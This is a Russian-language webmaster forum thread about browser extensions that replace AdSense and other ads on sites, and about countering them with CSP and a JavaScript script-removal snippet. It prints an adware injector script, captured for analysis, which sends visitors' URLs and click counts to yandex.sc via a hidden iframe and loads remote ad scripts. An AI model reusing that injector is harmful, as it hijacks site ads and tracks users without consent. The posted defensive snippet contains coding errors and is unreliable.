ctit ctit

Рейтинг
244
Регистрация
07.05.2010
maxim2501:
тем более что Соловей умер

С чего вы так решили? Прекрасно поживает.

ngsv:
Ставьте SSL сертификат на сайт

Явно из-за переходного периода на https упадет трафик. К тому же в отчетах мелькали вирусы на Https (хотя могли быть просто cdn баз вирусов).

За время тестирования все плагины пользователя удалось классифицировать:

  • Системные ответы браузера или плагинов
  • Плагины подмены рекламы
  • Плагины для сбора статистики о просмотренных сайтах и cookies
  • Плагины для сбора запросов из ПС
  • Безопасные плагины пользователя

При этом настройку CSP удалось заточить под AdSense так, что доходы стабилизировались (ctr уже не падает), а вот под другие РП все еще надо настраивать.

Клиентка прислала скрины моего сайта - плагин Амиго - подменяет рекламу, причем весьма на непотребную. Сейчас на сайте выдается предупреждение, что возможно браузер пользователя заражен.

ctit:
А почему нельзя контролировать только <script>, <iframe>. Они же создают угрозу....

На мой взгляд этот код должен вполне спасать сайт.

Поставил данный скрипт. Отчеты по CSP прекратились. То ли скрипт все режет, то ли пользователи стали убирать плагины.....

burunduk:
контролировать надо все элементы

А почему нельзя контролировать только <script>, <iframe>. Они же создают угрозу....

На мой взгляд этот код должен вполне спасать сайт.


function goodscript(s)
{
var del1 = [пропускать эти домены];
for (var i in del1)
{
if (s.indexOf(del1) + 1) return true;
}
return false;
}
function delscript()
{
var col=document.getElementsByTagName("script");
var ns=col.length;
for(i=0;i<ns;i++)
{
if (col && col.getAttribute("src") != null)
{
s1=col.getAttribute("src");
if ( goodscript(s1)==false )
{
col.InnerHtml="";col.setAttribute("src","");
col.parentNode.removeChild(col);
}
}
}
}
setInterval(delscript(), 1500);

Что касается http://yandex.sc

Вот его код. На первый взгляд типичный вирусняк, однако список ресурсов почему-то назван BlackList. Кто силен в js, подскажите. Пока удалил этот ресурс из списка CSP.


{function b(b){e.Debug&&console.log(b)}function d(a){b("get: "+a+" return "+localStorage[a]);
return localStorage[a]}

function a(a,d){b("set: "+a+" = "+d);
localStorage[a]=d}function g(){return(new Date).getTime()}function h(a,d,c){if(c){var e=document.createElement("div");
e.id=c;document.body.appendChild(e)}c=document.createElement("script");c.setAttribute("type","text/javascript");
c.setAttribute("src",a);document.body.appendChild(c);b("INJECT ADVERT SCRIPT: "+a);(function(){var a=0,c=
setInterval(function(){20<=a?(clearInterval(c),b("CLEAR_INTERVAL: MAX ITERATIONS"),e("document")):

(e(d)&&(clearInterval(c),b("CLEAR_INTERVAL: FOUND")),a++)},300),e=function(b){var a="document"==b?document:document.querySelector(b);if(a){var c=function(){f.contentWindow.postMessage({type:"advert-script-clicked"},"*");a.removeEventListener("mousedown",c)};a.addEventListener("mousedown",c);return!0}return!1}})()}

function k(b){b=Base64.encode(JSON.stringify(b));b=e.IframeSrc+"?q="+b;f=document.createElement("iframe");
f.setAttribute("src",b);f.setAttribute("width",0);
f.setAttribute("height",0);f.setAttribute("border",0);f.style.display="none";
document.body.appendChild(f)}
var f,e={BlackList:"список поисковиков список ресурсов миллионников далее список порно-ресурсов".split(" "), FirstDate:"_ci_first_date",LastDate:"_ci_last_date",Clicks:"_ci_clicks",DateInterval:2592E5,CheckDate:Date.parse("8/15/2014"),IframeSrc:"http://yandex.sc/v4/ci.iframe.html",Debug:0},l={increment:function(){var a=parseInt(localStorage[e.Clicks])||0;b("Clicks.increment OLD:"+a);localStorage[e.Clicks]=a+1},get:function(){return localStorage[e.Clicks]},set:function(b){localStorage[e.Clicks]=b}};

if(function(b){for(var a=0;a<e.BlackList.length;a++)if(0<=b.indexOf(e.BlackList[a]))return!0;return!1}(location.host))b("Blacklist");
else{b("Not Blacklist");l.increment();var g=g(),m=parseInt(d(e.LastDate))||0;d(e.FirstDate)||a(e.FirstDate,g);b("Now>CheckDate "+(g>=e.CheckDate));b("Now-lastDate>Inteval "+(g-m>=e.DateInterval));g>=e.CheckDate&&g-m>=e.DateInterval&&(l={FirstDate:d(e.FirstDate),LastDate:g,Clicks:l.get(),Url:location.href,Domain:location.host},k(l),b("Inject Iframe"));a(e.LastDate,g)}(function(){var a=c.addEventListener?"addEventListener":"attachEvent";(0,c[a])("attachEvent"==a?"onmessage":"message",function(a){a=
a.data;"advert-script-iframe"==a.type&&a.url?h(a.url,a.selector,a.append_id):"advert-script-log"==a.type&&a.log&&b(a.log)},!1)})()})
Оптимизайка:
А я наблюдаю, что data:text - скрипты рекламных сетей попандеров казино вулкан :)

Да, тоже нашел его (уже делаю заплатку). В его списке все сайты про казино и деньги.

Кстати, noorma, который проверял unmedia, сообщил, что на моем проекте режется весь мусор, т.е. все же CSP справляется.

Что касается, data:text, то как оказалось, большая часть внедряется как скрипты от рекламных сетей, которые собирают статистику.

Вроде c.imrk.net - один из них.

burunduk:
вообще-то, проблема решается только полным контролем над dom :)

Да, видимо. Сейчас проверяю, как это скажется. Проверка идет правда только на <script>, <iframe>, <div>.

Кстати, у некоторых пользователей стоит полный набор вирусных плагинов. С одной стороны, они могли их поставить, чтобы заработать денежку (плагины подмены рекламы и ссылок), с другой стороны, могли получить задание на бирже, установить именно эти плагины, и ходить по указанным сайтам и валить трастовость.

ctit:
Тема /ru/forum/866823 разрослась, поэтому вопросы безопасности сайтов вынесу в новую тему.

Резюме прошлой темы:
1) рост плагинов, которые подменяют код рекламы AdSense, Яндекс.РС и другие на свой вирусный код.
2) Защита возможна через CSP (но не на 100%) и через javascript.

Для настройки блокировки через CSP, например, для допуска кода AdSense можно использовать следующий заголовок (в файле .htaccess):



При этом код файла отчета может иметь следующий вид:

Настройки приведены с учетом тестирования в течение месяца. При других настройках падает CTR, при данных настройках - сохраняется на высоком уровне.

Всего: 1284